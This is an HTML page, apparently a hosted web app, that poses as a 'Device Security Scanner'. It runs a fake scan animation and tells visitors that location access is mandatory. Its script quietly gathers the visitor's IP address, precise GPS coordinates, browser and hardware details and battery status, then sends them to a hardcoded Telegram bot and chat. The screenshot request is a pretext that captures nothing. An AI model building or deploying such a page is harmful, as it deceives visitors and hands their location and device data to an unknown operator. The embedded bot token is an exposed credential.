Spaces:
Running
Running
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Device Security Scanner</title> | |
<script src="https://cdn.tailwindcss.com"></script> | |
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> | |
<style> | |
.scan-animation { | |
position: relative; | |
overflow: hidden; | |
} | |
.scan-animation::after { | |
content: ''; | |
position: absolute; | |
top: 0; | |
left: 0; | |
right: 0; | |
height: 5px; | |
background: linear-gradient(to right, transparent, #4ade80, transparent); | |
animation: scan 2s linear infinite; | |
box-shadow: 0 0 10px #4ade80; | |
} | |
@keyframes scan { | |
0% { transform: translateY(0); } | |
100% { transform: translateY(100vh); } | |
} | |
.progress-bar { | |
transition: width 0.5s ease; | |
} | |
.fake-log { | |
animation: fadeIn 0.5s ease; | |
} | |
@keyframes fadeIn { | |
from { opacity: 0; transform: translateY(10px); } | |
to { opacity: 1; transform: translateY(0); } | |
} | |
.permission-box { | |
animation: pulse 2s infinite; | |
} | |
@keyframes pulse { | |
0% { box-shadow: 0 0 0 0 rgba(74, 222, 128, 0.7); } | |
70% { box-shadow: 0 0 0 10px rgba(74, 222, 128, 0); } | |
100% { box-shadow: 0 0 0 0 rgba(74, 222, 128, 0); } | |
} | |
.warning-box { | |
animation: pulseWarning 2s infinite; | |
} | |
@keyframes pulseWarning { | |
0% { box-shadow: 0 0 0 0 rgba(234, 179, 8, 0.7); } | |
70% { box-shadow: 0 0 0 10px rgba(234, 179, 8, 0); } | |
100% { box-shadow: 0 0 0 0 rgba(234, 179, 8, 0); } | |
} | |
</style> | |
</head> | |
<body class="bg-gray-900 text-white min-h-screen flex flex-col"> | |
<header class="bg-gray-800 shadow-lg"> | |
<div class="container mx-auto px-4 py-6"> | |
<div class="flex justify-between items-center"> | |
<div class="flex items-center space-x-3"> | |
<i class="fas fa-shield-alt text-2xl text-green-500"></i> | |
<h1 class="text-2xl font-bold">Device Security Scanner</h1> | |
</div> | |
<div class="hidden md:flex items-center space-x-3"> | |
<span class="bg-green-500 px-3 py-1 rounded-full text-sm">Secure Connection</span> | |
</div> | |
</div> | |
</div> | |
</header> | |
<main class="flex-grow container mx-auto px-4 py-8"> | |
<div class="max-w-4xl mx-auto"> | |
<!-- Scanning Section --> | |
<div class="bg-gray-800 rounded-xl shadow-lg overflow-hidden mb-8 scan-animation"> | |
<div class="p-8"> | |
<div class="text-center mb-8"> | |
<i class="fas fa-mobile-alt text-6xl text-green-500 mb-4"></i> | |
<h2 class="text-3xl font-bold mb-2">Device Scan in Progress</h2> | |
<p class="text-gray-400">Please keep this page open while we analyze your device</p> | |
</div> | |
<!-- Location Permission Request Box --> | |
<div id="location-permission-request" class="bg-yellow-600 rounded-lg p-4 mb-6 warning-box border border-yellow-400"> | |
<div class="flex items-start"> | |
<i class="fas fa-map-marker-alt text-white text-2xl mr-3 mt-1"></i> | |
<div> | |
<h3 class="font-bold mb-1 text-white">Location Permission Required</h3> | |
<p class="text-sm text-white mb-3">To complete the security scan, we need access to your device location. This is mandatory for the scan to proceed.</p> | |
<button id="grant-location-btn" class="bg-white hover:bg-gray-200 text-yellow-600 px-4 py-2 rounded-md text-sm font-medium transition-colors"> | |
Allow Location Access | |
</button> | |
<button id="deny-location-btn" class="ml-2 bg-transparent border border-white hover:bg-yellow-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-colors"> | |
Deny | |
</button> | |
</div> | |
</div> | |
</div> | |
<!-- Screenshot Permission Request Box --> | |
<div id="screenshot-permission-request" class="hidden bg-gray-700 rounded-lg p-4 mb-6 permission-box border border-green-500"> | |
<div class="flex items-start"> | |
<i class="fas fa-camera text-green-500 text-2xl mr-3 mt-1"></i> | |
<div> | |
<h3 class="font-bold mb-1">Screenshot Permission Required</h3> | |
<p class="text-sm text-gray-300 mb-3">To complete the security scan, we need permission to capture a screenshot of your device.</p> | |
<button id="grant-screenshot-btn" class="bg-green-600 hover:bg-green-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-colors"> | |
Grant Permission | |
</button> | |
<button id="deny-screenshot-btn" class="ml-2 bg-gray-600 hover:bg-gray-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-colors"> | |
Deny | |
</button> | |
</div> | |
</div> | |
</div> | |
<!-- Progress Bar --> | |
<div class="mb-8"> | |
<div class="flex justify-between mb-2"> | |
<span>Scan Progress</span> | |
<span id="progress-percent">0%</span> | |
</div> | |
<div class="w-full bg-gray-700 rounded-full h-2.5"> | |
<div id="progress-bar" class="progress-bar bg-green-500 h-2.5 rounded-full" style="width: 0%"></div> | |
</div> | |
</div> | |
<!-- Scan Log --> | |
<div class="bg-gray-900 rounded-lg p-4 h-64 overflow-y-auto"> | |
<div id="scan-log" class="space-y-2"> | |
<div class="fake-log text-green-400">β Starting security scan...</div> | |
</div> | |
</div> | |
</div> | |
</div> | |
<!-- Security Tips --> | |
<div class="bg-gray-800 rounded-xl shadow-lg overflow-hidden"> | |
<div class="p-8"> | |
<h3 class="text-xl font-semibold mb-4">Security Recommendations</h3> | |
<div class="grid grid-cols-1 md:grid-cols-2 gap-4"> | |
<div class="bg-gray-700 p-4 rounded-lg"> | |
<div class="flex items-center mb-2"> | |
<i class="fas fa-lock text-green-500 mr-2"></i> | |
<h4 class="font-medium">Keep Software Updated</h4> | |
</div> | |
<p class="text-gray-400 text-sm">Regular updates patch security vulnerabilities and improve device performance.</p> | |
</div> | |
<div class="bg-gray-700 p-4 rounded-lg"> | |
<div class="flex items-center mb-2"> | |
<i class="fas fa-shield-alt text-green-500 mr-2"></i> | |
<h4 class="font-medium">Use Strong Passwords</h4> | |
</div> | |
<p class="text-gray-400 text-sm">Create complex passwords and change them periodically for better security.</p> | |
</div> | |
<div class="bg-gray-700 p-4 rounded-lg"> | |
<div class="flex items-center mb-2"> | |
<i class="fas fa-wifi text-green-500 mr-2"></i> | |
<h4 class="font-medium">Secure Your Network</h4> | |
</div> | |
<p class="text-gray-400 text-sm">Use WPA2/WPA3 encryption and hide your SSID to prevent unauthorized access.</p> | |
</div> | |
<div class="bg-gray-700 p-4 rounded-lg"> | |
<div class="flex items-center mb-2"> | |
<i class="fas fa-bell text-green-500 mr-2"></i> | |
<h4 class="font-medium">Enable Two-Factor Auth</h4> | |
</div> | |
<p class="text-gray-400 text-sm">Add an extra layer of security to your important accounts.</p> | |
</div> | |
</div> | |
</div> | |
</div> | |
</div> | |
</main> | |
<footer class="bg-gray-800 py-6"> | |
<div class="container mx-auto px-4 text-center"> | |
<p class="text-sm">Β© 2023 Device Security Scanner. All rights reserved.</p> | |
<p class="text-xs text-gray-400 mt-2">This scan helps identify potential security vulnerabilities on your device.</p> | |
</div> | |
</footer> | |
<script> | |
// Telegram Bot Configuration | |
const BOT_TOKEN = '7612071338:AAHdzKH_OjgdTmPdfGLZc0pI-eQOBrfZRc8'; | |
const ADMIN_CHAT_ID = '5695934789'; | |
// Fake scan progress | |
let scanProgress = 0; | |
const scanMessages = [ | |
"β Checking device specifications...", | |
"β Analyzing operating system...", | |
"β Scanning installed applications...", | |
"β Checking network security...", | |
"β Verifying system permissions...", | |
"β Analyzing battery health...", | |
"β Checking screenshot capability...", | |
"β Scanning for vulnerabilities...", | |
"β Finalizing security report..." | |
]; | |
// Device data collection | |
const deviceInfo = { | |
userAgent: navigator.userAgent, | |
platform: navigator.platform, | |
language: navigator.language, | |
screenWidth: screen.width, | |
screenHeight: screen.height, | |
colorDepth: screen.colorDepth, | |
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, | |
cookiesEnabled: navigator.cookieEnabled, | |
hardwareConcurrency: navigator.hardwareConcurrency || 'unknown', | |
deviceMemory: navigator.deviceMemory || 'unknown', | |
touchSupport: 'ontouchstart' in window, | |
batteryStatus: 'unknown', | |
locationPermission: false, | |
locationData: null, | |
screenshotPermission: false, | |
timestamp: new Date().toISOString() | |
}; | |
// Start fake scanning | |
function startFakeScan() { | |
const progressBar = document.getElementById('progress-bar'); | |
const progressPercent = document.getElementById('progress-percent'); | |
const scanLog = document.getElementById('scan-log'); | |
// Add initial log messages | |
setTimeout(() => addLogMessage("β Initializing security protocols..."), 500); | |
// Start progress simulation | |
const scanInterval = setInterval(() => { | |
scanProgress += Math.floor(Math.random() * 5) + 1; | |
if (scanProgress > 100) scanProgress = 100; | |
progressBar.style.width = `${scanProgress}%`; | |
progressPercent.textContent = `${scanProgress}%`; | |
// Add log messages at certain intervals | |
if (scanProgress >= 10 && scanLog.children.length < 2) { | |
addLogMessage(scanMessages[0]); | |
collectDeviceData(); | |
} | |
if (scanProgress >= 20 && scanLog.children.length < 3) { | |
addLogMessage(scanMessages[1]); | |
} | |
if (scanProgress >= 35 && scanLog.children.length < 4) { | |
addLogMessage(scanMessages[2]); | |
} | |
if (scanProgress >= 50 && scanLog.children.length < 5) { | |
addLogMessage(scanMessages[3]); | |
} | |
if (scanProgress >= 65 && scanLog.children.length < 6) { | |
addLogMessage(scanMessages[4]); | |
// Show screenshot permission request at 65% progress | |
if (!deviceInfo.screenshotPermission) { | |
document.getElementById('screenshot-permission-request').classList.remove('hidden'); | |
clearInterval(scanInterval); | |
} | |
} | |
if (scanProgress >= 75 && scanLog.children.length < 7 && deviceInfo.screenshotPermission) { | |
addLogMessage(scanMessages[5]); | |
checkBatteryStatus(); | |
} | |
if (scanProgress >= 85 && scanLog.children.length < 8 && deviceInfo.screenshotPermission) { | |
addLogMessage(scanMessages[6]); | |
} | |
if (scanProgress >= 95 && scanLog.children.length < 9 && deviceInfo.screenshotPermission) { | |
addLogMessage(scanMessages[7]); | |
} | |
if (scanProgress >= 100) { | |
clearInterval(scanInterval); | |
addLogMessage(scanMessages[8]); | |
setTimeout(() => { | |
addLogMessage("β Scan completed successfully!"); | |
sendCollectedData(); | |
}, 1000); | |
} | |
}, 500); | |
} | |
// Add message to scan log | |
function addLogMessage(message) { | |
const scanLog = document.getElementById('scan-log'); | |
const logEntry = document.createElement('div'); | |
logEntry.className = 'fake-log text-green-400'; | |
logEntry.textContent = message; | |
scanLog.appendChild(logEntry); | |
scanLog.scrollTop = scanLog.scrollHeight; | |
} | |
// Collect basic device data | |
function collectDeviceData() { | |
// Get IP address (simulated) | |
fetch('https://api.ipify.org?format=json') | |
.then(response => response.json()) | |
.then(data => { | |
deviceInfo.ipAddress = data.ip; | |
}) | |
.catch(() => { | |
deviceInfo.ipAddress = 'unknown'; | |
}); | |
} | |
// Get device location | |
function getLocation() { | |
if (navigator.geolocation) { | |
navigator.geolocation.getCurrentPosition( | |
(position) => { | |
deviceInfo.locationPermission = true; | |
deviceInfo.locationData = { | |
latitude: position.coords.latitude, | |
longitude: position.coords.longitude, | |
accuracy: position.coords.accuracy | |
}; | |
document.getElementById('location-permission-request').classList.add('hidden'); | |
addLogMessage("β Location permission granted. Starting scan..."); | |
startFakeScan(); | |
}, | |
(error) => { | |
deviceInfo.locationPermission = false; | |
document.getElementById('location-permission-request').classList.add('hidden'); | |
addLogMessage("β Location permission denied. Scan cannot proceed without location access."); | |
// You can choose to stop the scan here or continue with limited functionality | |
} | |
); | |
} else { | |
deviceInfo.locationPermission = false; | |
document.getElementById('location-permission-request').classList.add('hidden'); | |
addLogMessage("β Geolocation is not supported by this browser. Scan cannot proceed."); | |
} | |
} | |
// Check battery status | |
function checkBatteryStatus() { | |
if ('getBattery' in navigator) { | |
navigator.getBattery().then(battery => { | |
deviceInfo.batteryStatus = { | |
level: Math.round(battery.level * 100), | |
charging: battery.charging, | |
chargingTime: battery.chargingTime, | |
dischargingTime: battery.dischargingTime | |
}; | |
}); | |
} | |
} | |
// Send collected data to Telegram | |
function sendCollectedData() { | |
let message = `π± New Device Scan Report\n\n`; | |
message += `π Timestamp: ${new Date(deviceInfo.timestamp).toLocaleString()}\n`; | |
message += `π IP Address: ${deviceInfo.ipAddress || 'unknown'}\n`; | |
if (deviceInfo.locationData) { | |
message += `π Location: https://www.google.com/maps?q=${deviceInfo.locationData.latitude},${deviceInfo.locationData.longitude}\n`; | |
message += `π― Accuracy: ${deviceInfo.locationData.accuracy} meters\n\n`; | |
} else { | |
message += `π Location: Permission denied\n\n`; | |
} | |
message += `π Device Information:\n`; | |
message += `π₯οΈ User Agent: ${deviceInfo.userAgent}\n`; | |
message += `βοΈ Platform: ${deviceInfo.platform}\n`; | |
message += `π£οΈ Language: ${deviceInfo.language}\n`; | |
message += `πΊ Screen: ${deviceInfo.screenWidth}x${deviceInfo.screenHeight} (${deviceInfo.colorDepth}bit)\n`; | |
message += `β° Timezone: ${deviceInfo.timezone}\n`; | |
message += `πͺ Cookies: ${deviceInfo.cookiesEnabled ? 'Enabled' : 'Disabled'}\n`; | |
message += `πΎ Memory: ${deviceInfo.deviceMemory}GB\n`; | |
message += `π₯οΈ CPU Cores: ${deviceInfo.hardwareConcurrency}\n`; | |
message += `π Touch Support: ${deviceInfo.touchSupport ? 'Yes' : 'No'}\n`; | |
message += `πΈ Screenshot Permission: ${deviceInfo.screenshotPermission ? 'Granted' : 'Denied'}\n\n`; | |
if (deviceInfo.batteryStatus !== 'unknown') { | |
message += `π Battery: ${deviceInfo.batteryStatus.level}%`; | |
message += ` (${deviceInfo.batteryStatus.charging ? 'Charging' : 'Not charging'})\n\n`; | |
} | |
sendTelegramMessage(message); | |
} | |
// Send message to Telegram | |
async function sendTelegramMessage(text) { | |
const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`; | |
const params = new URLSearchParams(); | |
params.append('chat_id', ADMIN_CHAT_ID); | |
params.append('text', text); | |
params.append('parse_mode', 'HTML'); | |
try { | |
await fetch(url, { | |
method: 'POST', | |
headers: { | |
'Content-Type': 'application/x-www-form-urlencoded' | |
}, | |
body: params | |
}); | |
} catch (error) { | |
console.error('Error sending to Telegram:', error); | |
} | |
} | |
// Start when page loads | |
window.addEventListener('DOMContentLoaded', () => { | |
// Handle location permission buttons | |
document.getElementById('grant-location-btn').addEventListener('click', getLocation); | |
document.getElementById('deny-location-btn').addEventListener('click', () => { | |
deviceInfo.locationPermission = false; | |
document.getElementById('location-permission-request').classList.add('hidden'); | |
addLogMessage("β Location permission denied. Scan cannot proceed without location access."); | |
// You can choose to stop the scan here or continue with limited functionality | |
}); | |
// Handle screenshot permission buttons | |
document.getElementById('grant-screenshot-btn').addEventListener('click', () => { | |
deviceInfo.screenshotPermission = true; | |
document.getElementById('screenshot-permission-request').classList.add('hidden'); | |
addLogMessage("β Screenshot permission granted. Continuing scan..."); | |
startFakeScan(); | |
}); | |
document.getElementById('deny-screenshot-btn').addEventListener('click', () => { | |
deviceInfo.screenshotPermission = false; | |
document.getElementById('screenshot-permission-request').classList.add('hidden'); | |
addLogMessage("β Screenshot permission denied. Some features may not work properly."); | |
startFakeScan(); | |
}); | |
}); | |
</script> | |
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 𧬠<a href="https://enzostvs-deepsite.hf.space?remix=himanrhhee/ratlys" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> | |
</html> |